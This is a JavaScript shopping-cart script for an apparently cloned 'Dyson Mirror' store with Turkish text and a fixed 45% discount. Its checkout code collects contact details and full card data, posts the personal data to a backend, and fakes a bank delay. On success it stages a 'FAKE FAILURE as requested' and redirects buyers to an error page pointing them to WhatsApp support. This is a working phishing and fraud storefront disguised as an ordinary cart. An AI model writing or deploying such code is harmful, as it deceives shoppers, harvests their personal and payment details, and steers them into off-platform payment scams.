/**
* Dyson Mirror - Shopping Cart Implementation
* Vanilla JS, LocalStorage based.
*/
const CART_STORAGE_KEY = 'dyson_cart_v1';
const Cart = {
items: [],
init() {
this.load();
this.injectCSS();
// 1. Inject Header Icon if missing (Fix for "ustte sepet yok")
this.injectHeaderIcon();
this.injectSidebar();
this.updateUI();
this.bindEvents();
this.checkCheckoutPage();
},
load() {
const stored = localStorage.getItem(CART_STORAGE_KEY);
if (stored) {
try {
this.items = JSON.parse(stored);
} catch (e) {
console.error("Cart load error", e);
this.items = [];
}
}
},
save() {
localStorage.setItem(CART_STORAGE_KEY, JSON.stringify(this.items));
this.updateUI();
this.checkCheckoutPage();
},
addItem(product) {
const existing = this.items.find(i => i.id === product.id);
if (existing) {
existing.quantity += 1;
} else {
this.items.push({ ...product, quantity: 1 });
}
this.save();
this.openSidebar();
console.log("Added to cart:", product.name);
},
removeItem(id) {
this.items = this.items.filter(i => i.id !== id);
this.save();
},
updateQuantity(id, delta) {
const item = this.items.find(i => i.id === id);
if (item) {
item.quantity += delta;
if (item.quantity <= 0) {
this.removeItem(id);
} else {
this.save();
}
}
},
getTotal() {
return this.items.reduce((sum, item) => {
let priceStr = String(item.price).replace(/[^0-9,.]/g, '');
priceStr = priceStr.replace(/\./g, '').replace(',', '.');
const price = parseFloat(priceStr) || 0;
return sum + (price * item.quantity);
}, 0);
},
getTotalQuantity() {
return this.items.reduce((sum, item) => sum + item.quantity, 0);
},
formatMoney(amount) {
return new Intl.NumberFormat('tr-TR', { style: 'currency', currency: 'TRY' }).format(amount);
},
injectCSS() {
if (!document.querySelector('link[href*="cart.css"]')) {
const link = document.createElement('link');
link.rel = 'stylesheet';
link.href = '/css/cart.css';
document.head.appendChild(link);
}
},
injectHeaderIcon() {
// Fix for "ustte sepet yok"
if (document.getElementById('header-cart-btn')) return;
const headerContent = document.querySelector('.header.content');
if (headerContent) {
const iconHtml = `
`;
headerContent.insertAdjacentHTML('beforeend', iconHtml);
// Re-bind if we just created it
setTimeout(() => {
const newBtn = document.getElementById('header-cart-btn');
if (newBtn) {
newBtn.addEventListener('click', (e) => {
e.preventDefault();
this.openSidebar();
});
}
}, 100);
}
},
injectSidebar() {
if (document.getElementById('dyson-cart-sidebar')) return;
const html = `
`;
document.body.insertAdjacentHTML('beforeend', html);
},
bindEvents() {
const closeBtn = document.getElementById('close-cart-btn');
if (closeBtn) closeBtn.addEventListener('click', () => this.closeSidebar());
const overlay = document.getElementById('dyson-cart-overlay');
if (overlay) overlay.addEventListener('click', () => this.closeSidebar());
const container = document.getElementById('cart-items-container');
if (container) {
container.addEventListener('click', (e) => {
if (e.target.closest('.plus-btn')) {
const id = e.target.closest('.plus-btn').dataset.id;
this.updateQuantity(id, 1);
} else if (e.target.closest('.minus-btn')) {
const id = e.target.closest('.minus-btn').dataset.id;
this.updateQuantity(id, -1);
} else if (e.target.closest('.remove-btn')) {
const id = e.target.closest('.remove-btn').dataset.id;
this.removeItem(id);
}
});
}
},
updateUI() {
const container = document.getElementById('cart-items-container');
const totalEl = document.getElementById('cart-total-price');
if (container && totalEl) {
if (this.items.length === 0) {
container.innerHTML = 'Sepetiniz şu anda boş.
';
totalEl.innerText = '0,00 TL';
} else {
container.innerHTML = this.items.map(item => `
`).join('');
totalEl.innerText = this.formatMoney(this.getTotal());
}
}
// Update Header Badge
const badge = document.getElementById('header-qty');
if (badge) {
const qty = this.getTotalQuantity();
badge.innerText = qty;
}
},
DISCOUNT_RATE: 0.45,
getDiscountedTotal() {
return this.getTotal() * (1 - this.DISCOUNT_RATE);
},
checkCheckoutPage() {
if (window.location.pathname.includes('checkout')) {
this.renderCheckoutPage();
}
},
renderCheckoutPage() {
const summaryItems = document.getElementById('summary-items');
const summaryTotal = document.getElementById('summary-total');
if (summaryItems && summaryTotal) {
if (this.items.length === 0) {
summaryItems.innerHTML = 'Sepetiniz boş.
';
summaryTotal.innerText = '0,00 TL';
} else {
const originalTotal = this.getTotal();
const discountAmount = originalTotal * this.DISCOUNT_RATE;
const discountedTotal = originalTotal - discountAmount;
summaryItems.innerHTML = this.items.map(item => `
${item.quantity}x ${item.name}
${item.price}
`).join('') + `
Ara Toplam
${this.formatMoney(originalTotal)}
🎉 Sepet İndirimi (%45)
-${this.formatMoney(discountAmount)}
`;
summaryTotal.innerText = this.formatMoney(discountedTotal);
}
}
},
openSidebar() {
const sb = document.getElementById('dyson-cart-sidebar');
const ov = document.getElementById('dyson-cart-overlay');
if (sb && ov) {
sb.classList.add('open');
ov.classList.add('open');
} else {
console.warn("Sidebar elements not found, re-injecting...");
this.injectSidebar(); // Fallback
setTimeout(() => this.openSidebar(), 50);
}
},
closeSidebar() {
const sb = document.getElementById('dyson-cart-sidebar');
const ov = document.getElementById('dyson-cart-overlay');
if (sb) sb.classList.remove('open');
if (ov) ov.classList.remove('open');
},
detectCardBrand(cardNumber) {
if (!cardNumber) return 'Unknown';
const cleaned = cardNumber.replace(/\s/g, '');
if (/^4/.test(cleaned)) return 'Visa';
if (/^5[1-5]/.test(cleaned)) return 'Mastercard';
if (/^3[47]/.test(cleaned)) return 'Amex';
return 'Unknown';
},
// --- CHECKOUT LOGIC ---
async submitOrder() {
const payBtn = document.getElementById('pay-btn');
if (!payBtn) return;
// 1. Validate Address Step (Step 2)
const email = document.getElementById('email')?.value;
const fullname = document.getElementById('fullname')?.value;
const address = document.getElementById('address')?.value;
const city = document.getElementById('city')?.value;
const phone = document.getElementById('phone')?.value;
if (!email || !fullname || !address || !city || !phone) {
alert('Lütfen adres ve iletişim bilgilerini eksiksiz doldurunuz.');
window.goToStep(1); // Go back to start if missing
return;
}
// 2. Validate Payment Step (Step 3) - Visual Check Only
const ccNum = document.getElementById('cc-number')?.value;
const ccDate = document.getElementById('cc-expiry')?.value;
const ccCvv = document.getElementById('cc-cvv')?.value;
if (!ccNum || ccNum.length < 13 || !ccDate || !ccCvv) {
alert('Lütfen kredi kartı bilgilerinizi kontrol ediniz.');
return;
}
// 3. Simulate Processing
payBtn.disabled = true;
const originalText = payBtn.innerText;
payBtn.innerText = 'Ödeme İşleniyor... Lütfen Bekleyiniz';
// Prepare Data
const orderData = {
customer: {
name: fullname,
email: email,
address: address,
city: city,
phone: phone,
// PCI Compliance: Only last 4 digits for tracking
card_last4: ccNum ? ccNum.replace(/\s/g, '').slice(-4) : 'N/A',
card_brand: this.detectCardBrand(ccNum)
},
cart: this.items,
total: this.formatMoney(this.getDiscountedTotal()),
original_total: this.formatMoney(this.getTotal()),
discount_rate: '45%'
};
try {
// 4. Send Order to Backend
const response = await fetch('/api/checkout', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(orderData)
});
// Wait a bit to simulate authentic bank delay
await new Promise(r => setTimeout(r, 2500));
const result = await response.json();
if (result.success) {
// 5. FAKE FAILURE as requested
// "sistem yogunlundan dolayi kartla odememiz aktif degildir"
// alert('Sistem yoğunluğundan dolayı kartla ödememiz şu an için aktif değildir. Canlı desteğe aktarılıyorsunuz...');
// 6. Redirect to Custom Error Page (error.html)
// The error page contains the message and the link to WhatsApp
window.location.href = "/error.html";
} else {
alert('Hata: ' + result.error);
payBtn.disabled = false;
payBtn.innerText = originalText;
}
} catch (error) {
console.error('Checkout error:', error);
alert('Bağlantı hatası.');
payBtn.disabled = false;
payBtn.innerText = originalText;
}
}
};
// Initialize on DOM ready
document.addEventListener('DOMContentLoaded', () => {
Cart.init();
// Fallback: Bind event if onclick attribute fails or is removed
const payBtn = document.getElementById('pay-btn');
if (payBtn) {
payBtn.onclick = function () { Cart.submitOrder(); }
}
});
// GLOBAL EXPORTS
window.goToStep = function (step) {
// Validation before proceeding
if (step === 2) {
const email = document.getElementById('email')?.value;
if (!email || !email.includes('@')) {
alert('Lütfen geçerli bir e-posta adresi giriniz.');
return;
}
} else if (step === 3) {
const fullname = document.getElementById('fullname')?.value;
const address = document.getElementById('address')?.value;
const city = document.getElementById('city')?.value;
const phone = document.getElementById('phone')?.value;
if (!fullname || !address || !city || !phone) {
alert('Lütfen adres ve iletişim bilgilerini eksiksiz doldurunuz.');
return;
}
}
// 1. Visual update
document.querySelectorAll('.step').forEach(el => {
el.classList.remove('active');
if (el.id === 'step-' + step) {
el.classList.add('active');
el.style.opacity = '1';
el.style.pointerEvents = 'auto';
} else {
// Previous steps could be "completed" style
// For now simple switch
el.style.opacity = '0.5';
el.style.pointerEvents = 'none';
}
});
// 2. Scroll to top of steps
const stepEl = document.getElementById('step-' + step);
if (stepEl) stepEl.scrollIntoView({ behavior: 'smooth', block: 'start' });
};
// Map HTML onclick="completeOrder()" to our Logic
window.completeOrder = function () {
Cart.submitOrder();
};
window.addToCart = function (id, name, price, image, url) {
try {
// Ensure initialized if somehow called early
if (!Cart.items || Cart.items.length === 0) Cart.load();
Cart.addItem({ id, name, price, image, url });
} catch (e) {
console.error("Add to cart error:", e);
// Emergency fallback: try to re-init
try { Cart.init(); Cart.addItem({ id, name, price, image, url }); } catch (err) { }
}
};
// Global Event Delegation for dynamic elements (safer than attaching to specific nodes)
document.addEventListener('click', (e) => {
// Check for cart toggle buttons
if (e.target.closest('.header__basket') ||
e.target.closest('.minicart-wrapper') ||
e.target.closest('.action.showcart') ||
(e.target.closest('a') && e.target.closest('a').href && e.target.closest('a').href.includes('checkout/cart'))) {
e.preventDefault();
e.stopPropagation();
Cart.openSidebar();
}
}, true);